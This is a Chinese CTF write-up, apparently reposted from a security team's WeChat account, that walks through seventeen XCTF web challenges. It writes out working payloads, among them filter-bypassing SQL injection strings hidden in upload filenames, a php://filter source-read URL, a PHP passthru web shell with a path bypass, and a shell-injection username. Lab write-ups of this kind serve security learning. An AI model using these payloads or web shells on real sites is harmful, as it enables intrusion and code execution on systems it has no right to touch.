Xctf攻防世界-Web进阶题攻略


玩法介绍
javascript

      攻防世界答题模块是一款提高我的信息安全水平的益智趣味答题,用户可任意选择题目类型进行答题。php


 

第一题:html

        Burp拦截后对id进行爆破。前端

 


-----------------------------------------------------------------------------java

 

第二题:python

        Burp拦截后对search参数进行sql注入。linux

 


-----------------------------------------------------------------------------nginx

 

第三题:git

        扫出了.git,用GitHack把站点扒下,对index.php审查,$file中没有作处理和验证,能够用system()构造payload,web

 



-----------------------------------------------------------------------------

 

第四题:

        下载附件,文本打开,修改后缀为html以html方式打开,发现是乱码,用view-source审查前端元素,用alert替代eval,得到源码,复制代码到浏览器控制台运行,得到flag。

 


 

-----------------------------------------------------------------------------

 

第五题:

        注册登录进去,发现有上传点,传php小马,发现没法突破。

文件名称存在注入,联合查询select,union被过滤,双写可绕过,使用conv进制转换成10禁止,一次获取字串的12位,用substr截取12.

 


 


回显数字131277325825392转化为字符串位web_up为部分库名

 


再把后面的库名用substr(hex())查出来,转化后拼接后发现库名为web_upload

 

用双写绕过编写exp为:'+(seleselectct+CONV(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema='web_upload' limit 1,1)),1,12),16,10))+'.jpg

获得回显为114784820031327转化为字符串为hello_

 

'+(seleselectct+CONV(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema='web_upload' limit 1,1)),13,12),16,10))+'.jpg

获得回显为112615676665705转化为字符串为flag_i

 

'+(seleselectct+CONV(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema='web_upload' limit 1,1)),25,12),16,10))+'.jpg

回显为126853610566245转化为字符串为s_here

获得表名:hello_flag_is_here

 

找列:

'+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),1,12),16,10))+'.jpg

回显为115858377367398转化为字符串为i_am_f

 

Exp修改成à)),13,12),16,10))

回显为7102823转化为字符串为lag

合并列名为i_am_flag

 

根据库表列名构造语句:

'+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg

获得回显为36427215695199

转化为字符串为!!_@m_

 

'+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),13,12),16,10))+'.jpg

回显为92806431727430

转化为字符串为Th.e_F

 

'+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),25,12),16,10))+'.jpg

回显为560750951

转化为字符串为!lag

 

拼接为!!_@m_ Th.e_F!lag

 

 

-----------------------------------------------------------------------------

 

第六题:

        7kbscan扫描后发现index.phps得到部分源码,对源码进行分析,发现id在代码中进行了url编码,尝试用js函数”a”.charCodeAt进行编码,发现不行,看了下writeup发现浏览器也会对url再进行一次url编码,应该再进行一次编码进行绕过。

?id=%2561dmin

 


-----------------------------------------------------------------------------

 

第七题:

        题目php反序列,查看源码,我对php反序列不是很懂,发现里面调用了function _wakeup(),百度发现wakeup()是反序列的危险函数,找payload,调试payload。



-----------------------------------------------------------------------------

 

第八题:

        使用%80特殊ascii符号,由于url编码是16进制的,80就是128,ascii容许0-127,使web程序产生报错,根据报错信息得知程序是python的django web写的,使用php curl@能够访问配置文件。

 


访问配置文件@/opt/api/api/settings.py,搜索databases得到数据库信息,并访问,在数据库中搜索ctf,得到flag。

 

-----------------------------------------------------------------------------

 

第九题:

进入题目,题目惟一有用的线索就是view-source:url后发现一个?Page=index,点击连接发现有异常(算不算小提示??)

 

根据php伪协议构造出?Page=php://filter/read=convert.base64-encode/resource=index.php

 


将内容base64解码得出index.php源码,源码中发现函数preg-replace()函数,/e 修正符使 preg_replace() 将 replacement 参数看成 PHP 代码


Burp修改xff的值且传参中使用php函数passthru()调用系统命令,而后开始一步步找flag

 


利用linuxfind找出相关路径

 


Cd进去

 


Cat查看flag


-----------------------------------------------------------------------------

 

第十题:


        查看源码得知,题目使用unicorn.jsutill.jssecret.js,分析一下发现unicorn.js是一个模拟cpu的库,得到password过程 test_pw(enc_pw(input), get_pw()) 

发现get_pw()是固定值,那咱们就从test_pw()enc_pw()入手获得正确的input,观察enc_pw()函数发现写入内存指令在于_[o2[a]] 



为了得知enc_pw()对内存的操做,模拟enc_pw()构造AMD1() 函数,再将output转换成16进制,

0800a0e10910a0e10a20a0e10030a0e30050a0e30040d0e5010055e30100001a036003e2064084e0064084e2015004e20040c1e5010080e2011081e2013083e2020053e1f2ffffba0000a0e30010a0e30020a0e30030a0e30040a0e30050a0e30060a0e30070a0e30090a0e300a0a0e3 



 转换成汇编指令

 

分析得知,enc_ps()对内存的操做以下:

初始化输入密码地址及长度地址->初始化输出结果地址,技术去和奇偶校验寄存器->将输入密码的地址位数据传入中间数据->校验输入密码上一位数据的奇偶性-->奇数:截取计数器二进制最后两位与中间数据相加---------------------------------|

   |->中间数据加6->更新奇偶校验寄存器->将中间数据传入结果地址中->输入地址加一结果存储地址加一 技术去加一->计数器是否小于输入密码长度?-->->结束

|->->将输入密码的地址位数据传入中间数据->…

 

为了得知test_pw()对内存的操做,,模拟getARM1()函数编写getARM1(),用toHex函数将output转换为16进制,

 


分析得知,大概判断流程以下:

1.传入输入密码和隐藏密码的基址位数据

2.将输入密码加5

3.判断循环次数奇偶性,若为奇数将传入密码减3并比较传入密码与隐藏密码是否相等,若为偶数直接比较传入密码与隐藏密码是否相等

4.若是传入密码与隐藏密码不相等则至关于直接退出,若是相等,基址加一,计数器加一

5.判断计数器是否小于输出密码的长度,若小于直接回到1若不小于则至关于直接退出

 

逆向函数不会写,看了下网上的writeup

1.test_pw()的逆向函数:


function findReqR6(){ var pw = stoh("XYzaSAAX_PBssisodjsal_sSUVWZYYYb"); //从get_pw()的到的返回值 var required = new Array(); for(var i = 0 ; i < pw.length; i ++ ){ var a = pw[i]; a = a - 5; //原流程加5 if(i & 1 == 1){ a = a + 3; // 原流程减3 }  required[i] = a; } return required;}htos(findRqR6())返回enc_pw(user_input)的字符串转换结果返回值:SWu_N?<VZN=qngnm_hn_g]nQPTRXTWT`


2.构造enc_pw()函数的逆向函数获取正确的UserInput


function reverseEnc(argarray){ var test = 0; var output = new Array(); for(var i = 0 ; i < argarray.length ; i++){ var x = argarray[i]; if(test == 1){ var sub = (i & 3); x = x - sub; //原流程加上相与值. } x = x - 6; //原流程加6 test = (argarray[i] & 1); output[i] = x; } return output;}


htos(reverseEnc(findReqR6()))返回正确的userinput

 


 

-----------------------------------------------------------------------------

 

第十一题:

进去登录注册发现admin已经注册,bp抓包,分析user的值编码或者加密,发现user的值是{uid:username}的格式进行md5加密的,以下图

 


 


对各个功能点进行测试,发现personal功能存在越权操做,咱们得知管理员username=admin,假设admin的uid=1,修改uid的值为1和user的值查看相应的信息。

 


登出,根据刚查看的信息修改管理员密码,而后登陆

 


点击管理模块,报IP错误,发现修改xff的值能进行绕过

 


 访问提示的index.php?module=filemanage&do=???,分析???是啥,发现upload,上传php小马,被拦截,合成图片马,被拦截,gif头截断也被拦截,服务器使nginx1.12.2,不存在解析漏洞

bp抓包,修改content-type参数和修改文件后缀名尝试绕过,发现,alert的内容有所不一样,然而仍是没法获得什么。

 



最后尝试用<script language=”php”>进行绕过,得出flag

 


-----------------------------------------------------------------------------


第十二题:

        进去登录注册,没有发现常规注入和robots、git、svn等泄露,何种功能点测试一遍,发如今发布的贴子的路径存在文件穿越漏洞,修改post的值可访问泄露的路径

 


发现源码泄露,发现一处地方有异常,源码解读发现若是用户为admin便可得知$get_flag1的值(可能存在flag2???),且从源码中得知存在users/文件夹,

 


访问users文件夹,发现里面泄露了用户的cookie

 


咱们找出admin的cookie而后使用cookieManager修改username和cookie的值登陆admin

 

 


登录admin

发现flag1就在页尾(只有一半,咱们等下去找flag2)



 

//代码审计搞起来哎!(@_@眼睛都花了)

发现function reply()中,$(username)>$(next_file)这里username写在了next_file(评论文件的内容)中,且得知了post的路径,题目中的wtf文件不是通常的web文件,不过它能被服务器解析,须要$定义参数,根据用户名参数咱们能够在users_lookup路径下构造wtf后缀的shell

 


传不上shell,发现若是路径不加%09,shell会被当作目录解析

构造用户名参数=${find -iname get_flag2},发现用户名被注册

构造用户名${find,-iname,get_flag2},路径加上%09绕过

 


访问shell,获得一个路径

根据路径构造用户名=$/usr/bin/get_flag2,继续上传shell,访问shell,获得flag2


 

-----------------------------------------------------------------------------


第十三题:

        分析源码,往上推算程序,编写程序,获得flag。

正向思路-->反转$str-->反转后的$str的每一个字符ascii码+1再转换成unicode等正常编码-->通过以上操做的$str通过base64编码再反转字符串再通过str_rot13编码-->$miwen

 


 

-----------------------------------------------------------------------------


第十四题:

        进去发现web中有perl文件,在/cgi-bin/file.pl中存在上传功能,会把上传的文件以文本形式读出来

 


没啥头绪,看了一下博客和wp,

猜想文件上传的代码为以下图

 


param()会返回一个列表文件可是只有第一个文件会被放入到下面的file变量中,传入ARGV文件,perl会将文件名读出来

 


猜想flag在目录下,获得flag

 


-----------------------------------------------------------------------------


第十五题:

        进去,发现view-source:里面有源码

分析源码

 


发现要先用get传递?id参数使id的浮点数不等于1且最后一位为9,就会变成admin的session

这里咱们传递?Id=0%209

 


admin的session下,传递con和file参数(con就是文件内容=o=,想了好久看writeup才知道的),且匹配正则成功后传到uploaded文件夹下,

 


构造参数con=<?php passthru($_GET[bash]);?>&file=../1.php/.

File使用了/.绕过正则,正则过滤一次后缀,咱们再构造一次 . 就行了。

得出flag

 


 

-----------------------------------------------------------------------------


第十六题:

        进入网站,只有一个倒计时js,url猜想,根据标题和题目猜想出zhuanxvlogin,找到登陆页


Burp截包,发现传输流量过程有一个bg.jpg背景图,复制连接能够进行下载

 


Github搜索zhuanxv能够在备忘录中发现web是java写的

 


已知javaweb的文件分布如->



利用bg.jpg的下载连接进行文件包含找web.xml

 


发现web是用struts写的,咱们继续找struts的配置文件struts.xml

 


找到一个/WEB-INF/classes/下的 UserloginAction.class DownloadAction.class AdminAction.class文件,利用bg.jpg文件包含连接进行下载,修改后缀名等操做

接下来,咱们找webapplication的配置文件applicationContext.xml

 


发现web的操做数据库层框架Hibernate和数据库用户名和密码都为root,还有UserServiceImplUserDaoImpl两个class文件,进行下载

利用java反编译软件jd-gui查看源码

 



 

发现程序没有对name进行正则校验,且程序sql语句没有预编译,存在sql注入

 


注入须要结合Hibernate的子查询特性进行(构造不出exp,Hibernate没学过,上网找的exp),搞出exp,运行,获得flag

 

-----------------------------------------------------------------------------

第十七题:

        进去index.php发现有个连接跳转下载,发现连接地址有ssrf字符(提示?),下载是一个pdf文件

 

上目录扫描发现downloads/secret/路径

 

按照文件名推算,secret_debug.php应该是secret.php的调试文件,没法访问debug.php

 

Secret.php是一个注册功能点

 


利用secret.php的注册连接后半段和ssrf组合连接访问secret_debug.php发现404,程序把请求看成是pdf访问请求,利用urlencode把&编码一下能够绕过。

 


linux的curl访问

 


程序出错,发现sql注入



编写exp









手握日月摘星辰,安全路上永不止步。

                                                   - Khan攻防安全实验室



本文分享自微信公众号 - Khan安全团队(KhanCJSH)。
若有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一块儿分享。

相关文章
相关标签/搜索